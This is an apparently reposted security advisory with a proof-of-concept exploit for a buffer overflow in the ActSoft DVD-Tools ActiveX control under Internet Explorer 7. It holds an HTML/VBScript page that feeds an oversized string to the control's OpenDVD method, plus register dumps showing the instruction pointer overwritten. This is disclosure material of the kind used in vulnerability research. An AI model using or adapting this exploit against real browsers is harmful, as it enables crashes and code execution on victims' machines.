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ActSoft DVD-Tools Buffer Overflow (dvdtools.ocx, Exploit)
------------------------------------------------------------------------
SUMMARY
ActSoft DVD Tools ActiveX allows "you to convert (rip) any DVD to VCD,
SVCD, MPEG-1, MPEG-2, MPEG-4, AVI, DivX, and XviD". Buffer overflow
vulnerability has been discovered in ActSoft DVD-Tools ActiveX allows
remote attackers to cause the program to execute arbitrary code.
DETAILS
Exploit:
<html>
<font face="Courier New" size="2">
--------------------------------------------------------
<br>ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow
<br>developer's url: <a
href=http://www.activex-soft.com/>http://www.activex-soft.com</a>
<br>author: shinnai
<br>mail: shinnai[at]autistici[dot]org
<br>site: <a
href=http://shinnai.altervista.org>http://shinnai.altervista.org</a>
<br>Tested on Windows XP Professional SP2 all patched, with Internet
Explorer 7
<br>This product is selled under 1 Developer License for $129 and under
Site Wide License for $499 :)
<br><br>Using only 400 characters will cause just a crash of IE7 (or of
the software that use this
<br>activex), encreasing the number of characters EIP will be overwrite
and arbitrary code execution
<br>will be possible.
<br>-------------------------------------------------
</font>
<br>
<br><br><object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE'
id='DVD_TOOLS' ></object>
<br><br><input type="button" value="Click here to start the test"
language="VBScript" OnClick="VBButtonClicked()">
<script language="VBScript">
sub VBButtonClicked()
ActiveX_File = "C:\Programmi\ActiveX Soft\ActSoft
DVD-Tools\dvdtools.ocx"
Method = "OpenDVD"
Variable_Declaration = "Sub OpenDVD ( ByVal path As String )"
ArgCount = 1
Arg1=String(2500,"A")
DVD_TOOLS.OpenDVD Arg1
End Sub
</script>
<br>
<br><br><font face="Courier New" size="2">This is a dump of registers
<br>12:18:20.295 pid=0D6C tid=0AD0 EXCEPTION (first-chance)
<br>
----------------------------------------------------------------
<br> Exception C0000005 (ACCESS_VIOLATION reading [414145C5])
<br>
----------------------------------------------------------------
<br> EAX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EBX=0174F414: 41 41 41 41 41 41 41 41-41 41 41 41 41 41
41 41
<br> ECX=000097F9: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EDX=0174FC0C: 6F 00 00 00 00 00 00 00-60 60 1C 03 01 00
74 01
<br> ESP=0174F080: 50 F1 74 01 68 3A 14 00-6B 1F 94 7C 41 1C
94 7C
<br> EBP=0174F3F8: 41 41 41 41 41 41 41 41-41 41 41 41 41 41
41 41
<br> ESI=00000008: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EDI=031AD432: 00 00 00 00 00 00 00 00-00 00 00 00 00 00
00 00
<br> EIP=047A184D: 8B 90 84 04 00 00 8D 88-7C 04 00 00 85 D2
7E 09
<br> --> N/A
<br>
----------------------------------------------------------------
<br>
<br>12:18:20.311 pid=0D6C tid=0AD0 EXCEPTION (first-chance)
<br>
----------------------------------------------------------------
<br> Exception C0000005 (ACCESS_VIOLATION reading [41414141])
<br>
----------------------------------------------------------------
<br> EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00
00 00
<br> ESP=0174ECB0: BF 37 91 7C 98 ED 74 01-EC F3 74 01 B4 ED
74 01
<br> EBP=0174ECD0: 80 ED 74 01 8B 37 91 7C-98 ED 74 01 EC F3
74 01
<br> ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> --> N/A
<br>
----------------------------------------------------------------
<br>
<br>12:18:20.311 pid=0D6C tid=0AD0 EXCEPTION (first-chance)
<br>
----------------------------------------------------------------
<br> Exception C0000005 (ACCESS_VIOLATION reading [41414141])
<br>
----------------------------------------------------------------
<br> EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00
00 00
<br> ESP=0174E8E0: BF 37 91 7C C8 E9 74 01-EC F3 74 01 E4 E9
74 01
<br> EBP=0174E900: B0 E9 74 01 8B 37 91 7C-C8 E9 74 01 EC F3
74 01
<br> ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ??
?? ??
<br> --> N/A
<br>
----------------------------------------------------------------
<br>To be continued...</font>
ADDITIONAL INFORMATION
The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3307>
http://www.milw0rm.com/exploits/3307
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